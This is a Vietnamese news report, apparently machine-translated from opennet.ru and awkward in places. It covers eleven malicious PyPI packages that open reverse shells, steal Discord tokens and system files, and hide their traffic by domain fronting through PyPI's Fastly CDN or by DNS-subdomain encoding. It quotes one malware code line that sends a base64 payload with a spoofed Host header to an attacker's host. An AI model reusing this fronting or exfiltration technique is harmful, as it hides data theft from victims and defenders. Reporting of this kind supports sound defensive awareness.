Các thư viện độc hại đã được xác định trong danh mục PyPI sử dụng CDN PyPI để ẩn kênh liên lạc

Trong thư mục PyPI (Python Package Index), 11 gói chứa mã độc đã được xác định. Trước khi vấn đề được xác định, các gói đã được tải xuống tổng cộng khoảng 38 nghìn lần. Các gói độc hại được phát hiện đáng chú ý là sử dụng các phương pháp tinh vi để ẩn các kênh liên lạc với máy chủ của kẻ tấn công.

  • importantpackage (6305 lượt tải xuống), gói quan trọng (12897) - thiết lập kết nối với máy chủ bên ngoài dưới vỏ bọc kết nối với pypi.python.org để cung cấp quyền truy cập shell vào hệ thống (shell đảo ngược) và sử dụng chương trình trevorc2 để ẩn kênh thông tin liên lạc.
  • pptest (10001), ipboards (946) - sử dụng DNS làm kênh liên lạc để truyền thông tin về hệ thống (trong gói đầu tiên là tên máy chủ, thư mục làm việc, IP nội bộ và bên ngoài, trong gói thứ hai - tên người dùng và tên máy chủ) .
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) - đã xác định mã thông báo dịch vụ Discord trong hệ thống và gửi nó đến máy chủ bên ngoài.
  • trrfab (287) - đã gửi mã định danh, tên máy chủ và nội dung của /etc/passwd, /etc/hosts, /home tới máy chủ bên ngoài.
  • 10Cent10 (490) - thiết lập kết nối shell ngược với máy chủ bên ngoài.
  • yandex-yt (4183) - hiển thị thông báo về việc hệ thống đang bị xâm phạm và được chuyển hướng đến một trang có thông tin bổ sung về các hành động tiếp theo được đưa ra thông qua nda.ya.ru (api.ya.cc).

Đặc biệt lưu ý là phương pháp truy cập các máy chủ bên ngoài được sử dụng trong các gói quan trọng và gói quan trọng, sử dụng mạng phân phối nội dung Fastly được sử dụng trong thư mục PyPI để ẩn hoạt động của chúng. Trên thực tế, các yêu cầu đã được gửi đến máy chủ pypi.python.org (bao gồm cả việc chỉ định tên python.org trong SNI bên trong yêu cầu HTTPS), nhưng tiêu đề HTTP “Host” bao gồm tên của máy chủ do kẻ tấn công kiểm soát (giây. Forward.io.global.prod.fastly.net). Mạng phân phối nội dung đã gửi yêu cầu tương tự đến máy chủ tấn công, sử dụng các tham số của kết nối TLS tới pypi.python.org khi truyền dữ liệu.

Cơ sở hạ tầng PyPI được hỗ trợ bởi mạng phân phối nội dung Fastly, sử dụng proxy minh bạch Varnish để lưu vào bộ đệm các yêu cầu thông thường và cũng sử dụng xử lý chứng chỉ TLS ở cấp CDN, thay vì ở máy chủ cuối, để chuyển tiếp các yêu cầu HTTPS thông qua proxy. Bất kể máy chủ mục tiêu là gì, các yêu cầu đều được gửi đến proxy để xác định máy chủ mong muốn bằng cách sử dụng tiêu đề HTTP “Máy chủ” và tên miền máy chủ được liên kết với địa chỉ IP của bộ cân bằng tải CDN điển hình cho tất cả máy khách Fastly.

Máy chủ của kẻ tấn công cũng đăng ký CDN Fastly, cung cấp các gói miễn phí cho mọi người và thậm chí cho phép đăng ký ẩn danh. Đáng chú ý là để gửi yêu cầu đến nạn nhân khi tạo "vỏ đảo ngược", một sơ đồ cũng được sử dụng nhưng được bắt đầu từ phía máy chủ của kẻ tấn công. Nhìn từ bên ngoài, tương tác với máy chủ của kẻ tấn công trông giống như một phiên hợp pháp với thư mục PyPI, được mã hóa bằng chứng chỉ PyPI TLS. Một kỹ thuật tương tự, được gọi là “tiền tuyến tên miền”, trước đây được sử dụng tích cực để ẩn tên máy chủ khi bỏ qua việc chặn, sử dụng khả năng được cung cấp trong một số mạng CDN để truy cập HTTPS bằng cách chỉ ra một máy chủ hư cấu trong SNI và thực sự truyền tên của máy chủ đó. máy chủ được yêu cầu trong tiêu đề Máy chủ HTTP bên trong phiên TLS.

Các thư viện độc hại đã được xác định trong danh mục PyPI sử dụng CDN PyPI để ẩn kênh liên lạc

Để che giấu hoạt động độc hại, gói TrevorC2 còn được sử dụng bổ sung để tương tác với máy chủ tương tự như điều hướng web thông thường, chẳng hạn như các yêu cầu độc hại được gửi dưới chiêu bài tải xuống hình ảnh “https://pypi.python.org/images/ guid=" với mã hóa thông tin trong tham số guid. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

Các gói pptest và ipboards sử dụng một cách tiếp cận khác để ẩn hoạt động mạng, dựa trên việc mã hóa thông tin hữu ích trong các truy vấn tới máy chủ DNS. Phần mềm độc hại truyền thông tin bằng cách thực hiện các yêu cầu DNS như “nu4timjagq4fimbuhe.example.com”, trong đó dữ liệu truyền đến máy chủ điều khiển được mã hóa bằng định dạng base64 trong tên miền phụ. Kẻ tấn công nhận được những tin nhắn này bằng cách kiểm soát máy chủ DNS của miền example.com.

Nguồn: opennet.ru

Thêm một lời nhận xét